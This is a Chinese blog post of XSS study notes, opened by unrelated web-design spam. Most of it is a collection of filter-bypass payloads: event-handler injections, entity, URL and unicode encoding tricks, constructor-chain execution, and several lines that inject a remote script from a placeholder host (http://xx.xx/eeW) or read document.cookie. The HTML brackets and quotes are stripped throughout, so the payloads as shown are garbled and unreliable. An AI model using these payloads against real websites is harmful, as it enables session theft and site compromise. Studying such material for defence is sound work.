网站规划与网页设计案例,网站建设php招聘,徐汇制作网站哪家好,苏州做网站设计的公司XSS一些学习记录 XXS短标签、属性、事件、方法短标签属性事件函数弹窗函数一些对于绕过有用的函数一些函数使用payload收集 浏览器编码问题XML实体编码URL编码JS编码混合编码 一些绕过方法利用constructor原型污染链构造弹框空格绕过圆括号过滤绕过其他的一些绕过 参考 XXS短标… XSS一些学习记录 XXS短标签、属性、事件、方法短标签属性事件函数弹窗函数一些对于绕过有用的函数一些函数使用payload收集 浏览器编码问题XML实体编码URL编码JS编码混合编码 一些绕过方法利用constructor原型污染链构造弹框空格绕过圆括号过滤绕过其他的一些绕过 参考 XXS短标签、属性、事件、方法
短标签
自带HtmlEncode转义功能的标签(RCDATA)这是插入的javascript不会被执行除非我们闭合掉它们。
textarea/textarea
title/title
iframe/iframe
noscript/noscript
noframes/noframes
xmp/xmp
plaintext/plaintext
其他math/math也不行一些常见的短标签 以下的短标签可以执行JavaScript
a
p
img
body
button
script
var
div
object
input
select
keygen
frameset
embed
svg
video
audio
iframe
textarea
math a
a hrefjavascript:alert(1)test/a
a hrefx onfocusalert(xss); autofocusxss/a
a hrefx onclickeval(alert(xss);)xss/a
a hrefx onmouseoveralert(xss);xss/aimg
img srcx onerroralert(1)
img srcx onerroreval(alert(1))iframe
iframe srcjavascript:alert(1)test/iframe
iframe onloadalert(document.cookie)/iframe
iframe onloadalert(xss);/iframe
iframe onloadbase64,YWxlcnQoJ3hzcycpOw/iframe
iframe onmouseoveralert(xss);/iframe
iframe srcdata:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4audio
audio src1 onerroralert(1)
audiosource srcx onerroralert(xss);/audio
audio controls onfocuseval(alert(xss);) autofocus/audio
audio controls onmouseoveralert(xss);source srcx/audiovideo
video srcx onerroralert(1)
videosource onerroralert(xss);/video
video controls onmouseoveralert(xss);/video
video controls onfocusalert(xss); autofocus/video
video controls onclickalert(xss);/videosvg
svg onloadjavascript:alert(1)
svg onloadalert(xss);/svgbutton
button onclickalert(1)
button onfocusalert(xss); autofocusxss/button
button onclickalert(xss);xss/buttondiv
原代码
div onmouseoveralert(1)DIV/div
经过url编码
div onmouseover%3dalert%26lpar%3b1%26rpar%3bDIV%2fdivobject
object datadata:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4/objectscript
scriptalert(xss)/script
scriptalert(/xss/)/script
scriptalert(123)/script
script srchttp://xxx.xxx/a.js/script
script src//xxx.xxx/a.js/scriptinput
input onfocusalert(xss); autofocus
input onmouseoveralert(xss);
input typetext onkeydownalert(xss);/inputform
form methodx actionx onmouseoveralert(xss);input typesubmit/form
form methodx actionx onmouseoutalert(xss);input typesubmit/form
form methodx actionx onmouseupalert(xss);input typesubmit/form综合上面短标签的使用除了特殊的几个其他的使用都差不多都是配合属性或者事件使用
属性
data
href
action
formaction
location
on*
name
background
poster
src
code
xlink:href
autofocus
content这里只介绍一个data协议他可以使用Data URI绕过但并不是所有短标签都可以使用
* data:,文本数据
* data:text/plain,文本数据
* data:text/html,HTML代码
* data:text/css;base64,css代码
* data:text/javascript;base64,javascript代码
* data:image/x-icon;base64,base64编码的icon图片数据
* data:image/gif;base64,base64编码的gif图片数据
* data:image/png;base64,base64编码的png图片数据
* data:image/jpeg;base64,base64编码的jpeg图片数据object datadata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4
object datadata:text/html;base64 ,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4
iframe srcdata:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4/iframe
embed srcdata:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4/embedsrc/href/action/xlink:href/autofocus/content/data 等属性直接使用伪协议绕过。如javascript 伪协议 a hrefjavascript:alert(2)test/a 不使用 href 的另外一种组合来执行 jssvga xlink:href“javascript:alert(14)” /a/svg均可 或者 matha xlink:hrefjavascript:alert(1)1/a/math(Chrome不可Firefox可以)
事件
所有的event都是可以执行js的on*事件中插入合乎逻辑的JS代码即可 常见事件
FSCommand() 当从嵌入式 Flash 对象中执行时攻击者可以使用它
onAbort() 当用户中止图像加载时
onActivate() 当对象被设置为活动元素时
onAfterPrint() 在用户打印或预览打印作业后激活
onAfterUpdate() 更新源对象中的数据后在数据对象上激活
onBeforeActivate() 在对象被设置为活动元素之前触发
onBeforeCopy()攻击者在将选择复制到剪贴板之前执行攻击字符串 – 攻击者可以使用该execCommand(Copy)功能执行此操作
onBeforeCut() 攻击者在选择被切断之前执行攻击字符串
onBeforeDeactivate() 在 activeElement 从当前对象更改后立即触发
onBeforeEditFocus() 在可编辑元素中包含的对象进入 UI 激活状态之前或在选择可编辑容器对象时触发
onBeforePaste()用户需要被诱骗粘贴或使用该execCommand(Paste)功能强制粘贴
onBeforePrint()用户需要被欺骗打印或攻击者可以使用print()或execCommand(Print)功能。
onBeforeUnload() 用户需要被诱骗关闭浏览器 – 除非它是从父级生成的否则攻击者无法卸载窗口
onBeforeUpdate() 在更新源对象中的数据之前激活数据对象
onBegin() 当元素的时间线开始时 onbegin 事件会立即触发
onBlur() 在加载另一个弹出窗口并且窗口失去焦点的情况下
onBounce() 当Marquee对象的行为属性设置为“备用”和Marquee的内容到达窗口的一侧时
onCellChange() 当数据提供者中的数据发生变化时触发
onChange() 选择、文本或 TEXTAREA 字段失去焦点并且其值已被修改
onClick() 有人点击表格
onContextMenu() 用户需要右键单击攻击区域
onControlSelect() 当用户即将对对象进行控件选择时触发
onCopy()用户需要复制一些东西或者可以使用execCommand(Copy)命令来利用它
onCut()用户需要复制一些东西或者可以使用execCommand(Cut)命令来利用它
onDataAvailable() 用户需要更改元素中的数据否则攻击者可以执行相同的功能
onDataSetChanged() 当数据源对象公开的数据集更改时触发
onDataSetComplete() 触发以指示数据源对象中的所有数据都可用
onDblClick() 用户双击表单元素或链接
onDeactivate() 当 activeElement 从当前对象更改为父文档中的另一个对象时触发
onDrag() 要求用户拖动对象
onDragEnd() 要求用户拖动对象
onDragLeave() 要求用户将对象拖离有效位置
onDragEnter() 要求用户将对象拖动到有效位置
onDragOver() 要求用户将对象拖动到有效位置
onDragDrop() 用户将对象例如文件拖放到浏览器窗口上
onDragStart() 在用户开始拖动操作时发生
onDrop() 用户将对象例如文件拖放到浏览器窗口上
onEnd() 当时间线结束时触发 onEnd 事件。
onError() 加载文档或图像会导致错误
onErrorUpdate() 在更新数据源对象中的关联数据时发生错误时触发数据绑定对象
onFilterChange() 当视觉过滤器完成状态更改时触发
onFinish() 攻击者可以在选框完成循环时创建利用
onFocus() 攻击者在窗口获得焦点时执行攻击字符串
onFocusIn() 攻击者在窗口获得焦点时执行攻击字符串
onFocusOut() 攻击者在窗口失去焦点时执行攻击字符串
onHashChange() 当文档当前地址的片段标识符部分更改时触发
onHelp() 攻击者在窗口处于焦点时用户点击 F1 时执行攻击字符串
onInput() 元素的文本内容通过用户界面更改
onKeyDown() 用户按下一个键
onKeyPress() 用户按下或按住某个键
onKeyUp() 用户释放密钥
onLayoutComplete() 用户必须打印或打印预览
onLoad() 攻击者在窗口加载后执行攻击字符串
onLoseCapture()可以被releaseCapture()方法利用
onMediaComplete() 当使用流媒体文件时此事件可能会在文件开始播放之前触发
onMediaError() 用户在浏览器中打开一个包含媒体文件的页面出现问题时触发该事件
onMessage() 当文档收到消息时触发
onMouseDown() 攻击者需要让用户点击图片
onMouseEnter() 光标在对象或区域上移动
onMouseLeave() 攻击者需要让用户将鼠标悬停在图像或表格上然后再次关闭
onMouseMove() 攻击者需要让用户将鼠标悬停在图像或表格上
onMouseOut() 攻击者需要让用户将鼠标悬停在图像或表格上然后再次关闭
onMouseOver() 光标在对象或区域上移动
onMouseUp() 攻击者需要让用户点击图片
onMouseWheel() 攻击者需要让用户使用他们的鼠标滚轮
onMove() 用户或攻击者会移动页面
onMoveEnd() 用户或攻击者会移动页面
onMoveStart() 用户或攻击者会移动页面
onOffline() 发生在浏览器在联机模式下工作并且开始脱机工作时
onOnline() 发生在浏览器在离线模式下工作并开始在线工作时
onOutOfSync() 中断元素播放时间轴定义的媒体的能力
onPaste()用户需要粘贴或攻击者可以使用该execCommand(Paste)功能
onPause() 当时间线暂停时onpause 事件会在每个处于活动状态的元素上触发包括 body 元素
onPopState() 当用户浏览会话历史时触发
onProgress() 攻击者会在加载 Flash 电影时使用它
onPropertyChange() 用户或攻击者需要更改元素属性
onReadyStateChange() 用户或攻击者需要更改元素属性
onRedo() 用户在撤消交易历史中前进
onRepeat() 该事件为时间线的每次重复触发一次不包括第一个完整周期
onReset() 用户或攻击者重置表单
onResize()用户将调整窗口的大小攻击者就可以自动与像初始化SCRIPTself.resizeTo(500,400);/SCRIPT
onResizeEnd()用户将调整窗口的大小攻击者就可以自动与像初始化SCRIPTself.resizeTo(500,400);/SCRIPT
onResizeStart()用户将调整窗口的大小攻击者就可以自动与像初始化SCRIPTself.resizeTo(500,400);/SCRIPT
onResume() onresume 事件会在时间线恢复时激活的每个元素上触发包括 body 元素
onReverse() 如果元素的 repeatCount 大于 1则每次时间线开始向后播放时都会触发此事件
onRowsEnter() 用户或攻击者需要更改数据源中的一行
onRowExit() 用户或攻击者需要更改数据源中的一行
onRowDelete() 用户或攻击者需要删除数据源中的一行
onRowInserted() 用户或攻击者需要在数据源中插入一行
onScroll()用户需要滚动否则攻击者可以使用该scrollBy()功能
onSeek() 当时间轴设置为向前以外的任何方向播放时将触发 onreverse 事件
onSelect()用户需要选择一些文本-攻击者可以自动初始化是这样的window.document.execCommand(SelectAll);
onSelectionChange()用户需要选择一些文本-攻击者可以自动初始化是这样的window.document.execCommand(SelectAll);
onSelectStart()用户需要选择一些文本-攻击者可以自动初始化是这样的window.document.execCommand(SelectAll);
onStart() 在每个选框循环开始时触发
onStop() 用户需要按停止按钮或离开网页
onStorage() 存储区域已更改
onSyncRestored() 用户中断元素播放由时间线定义的媒体的能力以触发
onSubmit() 需要攻击者或用户提交表单
onTimeError() 用户或攻击者将时间属性例如 dur设置为无效值
onTrackChange() 用户或攻击者更改播放列表中的曲目
onUndo() 用户在撤消事务历史记录中倒退
onUnload() 当用户单击任何链接或按下后退按钮或攻击者强制单击时
onURLFlip() 当由 HTMLTIME定时交互式多媒体扩展媒体标签播放的高级流格式 (ASF) 文件处理嵌入在 ASF 文件中的脚本命令时将触发此事件
seekSegmentTime() 这是一种在元素的片段时间线上定位指定点并从该点开始播放的方法。片段由时间线的一次重复组成包括使用 AUTOREVERSE 属性的反向播放。函数
弹窗函数
alert
confirm
prompt一些对于绕过有用的函数
eval
top
window
self
parent
frames
setTimeout
atob
setIntervaleval
img srcxonerroreval(alert(1))
scripteval(\x61\x6C\x65\x72\x74\x28\x31\x29)/script
scripteval(\141\154\145\162\164\050\061\051)/script
scripteval(\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029)/script
a hrefjavascript:eval(atob(YWxlcnQoMSk))test/a
a hrefjavascript:eval(window.atob(YWxlcnQoMSk))test/a
a hrefjavascript:eval(window[atob](YWxlcnQoMSk))test/a
img srcx onmouseovereval(window.atob(YWxlcnQoMSk))
img srcx onerroreval(atob(YWxlcnQoMSk))
iframe srcjavascript:eval(window[atob](YWxlcnQoMSk))/iframe
a hrefjavascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))test/atop
img srcx onerrortop[alert](1)
JS8编码
details open ontoggletop[al\145rt](1)
details open ontoggletop[\141\154\145\162\164](1)
JS16编码
details open ontoggletop[al\x65rt](1) window
img srcx onerrorwindow[alert](1)self
img srcx onerrorself[alert](1)parent
img srcx onerrorparent[alert](1)frames
img srcx onerrorframes[alert](1)setTimeout
svg/onloadsetTimeout(\x61\x6C\x65\x72\x74\x28\x31\x29)
svg/onloadsetTimeout(\141\154\145\162\164\050\061\051)
svg/onloadsetTimeout(\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029)atob atob() 方法用于解码使用 base-64 编码的字符串
img srcx onerrorFunctiona${atobYWxlcnQoMSk}
img srcx onerror.constructor.constructora${atobYWxlcnQoMSk}parseInt()与toString() parseInt() 第二个参数会把第一个参数以第二个参数的进制来解析第二个参数介于2-36之间而 toString()可以将数值以任意进制还原成字符串 实际使用时建议先进行测试是否能还原
details open ontoggletop[8680439..toString(30)](1);
details open ontoggletop[17795081..toString(36)](1); 一些函数使用payload收集
img srcx onerroreval(alert(1))
img srcx onerroropen(alert(1))
img srcx onerrordocument.write(alert(1))
img srcx onerrorsetTimeout(alert(1))
img srcx onerrorsetInterval(alert(1))
img srcx onerrorSet.constructor(alert(1))
img srcx onerrorMap.constructor(alert(1))
img srcx onerrorArray.constructor(alert(1))
img srcx onerrorWeakSet.constructor(alert(1))
img srcx onerrorconstructor.constructor(alert(1))
img srcx onerror[1].map(alert(1))
img srcx onerror[1].find(alert(1))
img srcx onerror[1].every(alert(1))
img srcx onerror[1].filter(alert(1))
img srcx onerror[1].forEach(alert(1))
img srcx onerror[1].findIndex(alert(1))
img src onerror_alert,_(1)
img src xal yert onerrortop[xy](1)
img src onerrortop[aal,bev,ba](alert(1))
img src onerror[alert].map(top[eval])[0][valueOf]()(1)setInterval setInterval与setTimeout差不多
svg/onloadsetInterval(al%2bert(1))
svg/onloadsetInterval(appendChild(createElement(script)).srchttp://xx.xx/eeW)
svg/onload\u0073etInterval(appendChild(createElement(scr%2bipt)).srchttp://xx.xx/eeW)
svg/onload\u0073etInterval(\u0061ppendChild(\u0063reateElement(scr%2bipt)).srchttp://xx.xx/eeW)
iframe onloadscreateElement(script);body.appendChild(s);s.src[http,://,xx.xx,/eeW].join()
svg/onloadscreateElement(script);body.appendChild(s);s.src[http]%2B[://]%2B[xx.xx]%2B[/eeW].join() 浏览器编码问题
浏览器对 XSS 代码的解析顺序为HTML解码 —— URL解码 —— JS解码(只支持UNICODE)。
XML实体编码
a hrefjavascript:alert(1)test/a
十进制
a href#106;#97;#118;#97;#115;#99;#114;#105;#112;#116;#58;#97;#108;#101;#114;#116;#40;#49;#41;test/a
十六进制
a href#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;#x61;#x6c;#x65;#x72;#x74;#x28;#x31;#x29;test/a
可以不带分号
a href#x6a#x61#x76#x61#x73#x63#x72#x69#x70#x74#x3a#x61#x6c#x65#x72#x74#x28#x31#x29test/a
可以填充0
a href#x006a#x0061#x0076#x0061#x0073#x0063#x0072#x0069#x0070#x0074#x003a#x0061#x006c#x0065#x0072#x0074#x0028#x0031#x0029test/aXML实体编码不能对属性或者短标签进行编码否则无法识别可以对属性里面的内容进行编码
URL编码
注入点存在 href 或者 src 属性时可以使用 url 编码但不能对属性进行编码。
a hrefjavascript:%61%6c%65%72%74%28%31%29test/a
iframe srcjavascript:%61%6c%65%72%74%28%31%29test/iframeJS编码
在处理诸如script style这样的标签解析器会自动切换到JS解析模式而src、 href 后边加入的javascript 伪URL也会进入JS 的解析模式ON事件后面也会直接进入JS模式。JS编码解析时不能破坏javascript协议。
js 编码策略“” 加上三个八进制数字如果个数不够前面补0例如 “” 编码为 “\074”
“\x” 加上两个十六进制数字如果个数不够前面补0例如 “” 编码为 “\x3c”
“\u” 加上四个十六进制数字如果个数不够前面补0例如 “” 编码为 “\u003c”
对于一些控制字符使用特殊的 C 类型的转义风格例如 \n 和 \r在进行JavaScript解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称在上例中Javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行解码后为alert而alert是一个有效的标识符名称它是能被正常解析的。像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本无法正常解析因此编码时禁止编码圆括号、双引号、单引号等等
如
img srcx onerroralert(1)编码为
img srcx onerror\u0061\u006c\u0065\u0072\u0074(1)但是下面这个是例外可以全部编码
input onfocuslocationalert(1) autofocus可编码为
input onfocuslocationjavascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029 autofocus可用下面的网站进行编码 https://tool.chinaz.com/tools/unicode.aspx
混合编码
浏览器对 XSS 代码的解析顺序为HTML解码 —— URL解码 —— JS解码(只支持UNICODE)所以要混合编码需要和解析顺序相反进行编码
a hrefjavascript:alert(1)test/aJS编码后为
a hrefjavascript:\u0061\u006c\u0065\u0072\u0074(1)test/aurl编码后为
a hrefjavascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)test/ahtml实体编码后为
a href#x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;#x3a;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x33;#x31;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x36;#x33;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x36;#x25;#x33;#x35;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x37;#x25;#x33;#x32;#x25;#x35;#x63;#x25;#x37;#x35;#x25;#x33;#x30;#x25;#x33;#x30;#x25;#x33;#x37;#x25;#x33;#x34;#x28;#x31;#x29;test/a一些绕过方法
利用constructor原型污染链构造弹框
其根本原理是利用constructor原型污染链构造Function使用Function来构造匿名函数然后在其中写入任意的js代码进行执行匿名函数后面加上一个括号即可立即执行
常规的js构造函数弹窗
let sayHi new Function(alert(Hello));
sayHi(); 写成一句话调用匿名函数
new Function(alert(Hello))();
//弹框
//精简去掉 new 和 ;
Function(alert(Hello))()为了替换掉Function我们用constructor构造 可以得到
String.constructor(alert(Hello))()再把string处理掉 可以得到
.constructor.constructor(alert(1))()如果黑名单过滤了(),可以用反引号绕过
String.constructoral\x65rt\x28/xss/\x29如果黑名单过滤了.可以再根据a.b与a[b]等价的定理进行变换
[constructor][constructor](alert(1))()针对字符串可以使用16进制8进制转码我们用8进制转码一下
[\163\165\142\163\164\162][\143\157\156\163\164\162\165\143\164\157\162](\141\154\145\162\164\50\61\51)()一些payload
svg/onloadSet.constructor(appendChild(createElement(script)).srchttp://xx.xx/eeW)()svg/onloadSet.constructoral\x65rt\x28/xss/\x29
svg/onloadMap.constructoral\x65rt\x28/xss/\x29
svg/onloadclear.constructoral\x65rt\x28/xss/\x29
svg/onloadArray.constructoral\x65rt\x28/xss/\x29
svg/onloadWeakSet.constructoral\x65rt\x28/xss/\x29img srcx onerrorFunctiona${atobYWxlcnQoMSk}
img srcx onerror.constructor.constructora${atobYWxlcnQoMSk}空格绕过
可以利用 /和//还有/**/替换绕过空格
img//src//onerroralert(1)
img/**/src/**/onerroralert(1)还可以throw 绕过
video src onerrorjavascript:window.οnerrοralert;throw 1
svg/onloadwindow.οnerrοreval;throwalert\x281\x29;圆括号过滤绕过
可以用斜杠替换
img src onerroralert(/xss/)还可以用反引号替换
img src onerroralert(xss)其他的一些绕过
其他的一些绕过其实可以根据上面的知识尝试大小写绕过编码绕过利用相似功能的函数进行绕过拼接绕过等
下面这个是一个很典型的例子第一条不行发现是事件上了黑名单换个事件即可
a hrefx onmouseoverconfirm(123);xss/a
a hrefx onMouseEnterconfirm(123);aa/a参考
https://wooyun.js.org/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html https://blog.csdn.net/hackzkaq/article/details/126344040 https://www.ddosi.org/xss-bypass/#XSS_%E5%AE%9A%E4%BD%8D%E5%99%A8%EF%BC%88Polygot%EF%BC%89 http://www.0xby.com/98.html https://xz.aliyun.com/t/6597 https://lalajun.github.io/2020/11/18/%E5%8D%81%E4%BA%8C%E4%B8%AAXSS%E6%A1%88%E4%BE%8B%E9%87%8D%E6%96%B0%E8%AE%A4%E8%AF%86XSS-%E4%B8%8A/
